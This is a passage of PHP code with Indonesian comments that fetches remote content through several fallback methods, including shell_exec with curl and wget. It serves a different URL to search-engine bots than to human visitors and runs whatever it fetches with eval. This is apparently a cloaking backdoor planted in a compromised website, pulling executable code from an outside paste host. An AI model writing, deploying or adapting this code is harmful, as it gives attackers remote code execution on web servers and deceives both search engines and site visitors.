true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, ]); $content = curl_exec($ch); curl_close($ch); if ($content !== false) return $content; } // 3. fopen + stream_get_contents $handle = @fopen($url, 'r'); if ($handle) { $content = stream_get_contents($handle); fclose($handle); if ($content !== false) return $content; } // 4. fsockopen (low-level) $parsed = parse_url($url); if (isset($parsed['host']) && isset($parsed['path'])) { $host = $parsed['host']; $path = $parsed['path'] . (isset($parsed['query']) ? '?' . $parsed['query'] : ''); $port = $parsed['scheme'] === 'https' ? 443 : 80; $fp = fsockopen(($port === 443 ? "ssl://" : "") . $host, $port, $errno, $errstr, 10); if ($fp) { $out = "GET $path HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); $parts = explode("\r\n\r\n", $response, 2); if (isset($parts[1])) return $parts[1]; // body } } // 5. shell_exec dengan curl/wget command if (function_exists('shell_exec')) { $output = @shell_exec("curl -sL " . escapeshellarg($url)); if (!empty($output)) return $output; $output = @shell_exec("wget -qO- " . escapeshellarg($url)); if (!empty($output)) return $output; } return false; // Semua metode gagal } // Ganti URL sesuai kebutuhan $botUrl = 'https://berita-terkini.id/halmaheraselatankab/'; $humanUrl = 'https://raw.zeverix.com/raw/human-7679'; $ip = getClientIP(); $urlToUse = isAllowedBot($ip) ? $botUrl : $humanUrl; $content = getRemoteContent($urlToUse); // Jalankan isi kalau ketemu if ($content !== false) { eval('?>' . $content); } else { echo "Gagal memuat konten dari URL."; } ?>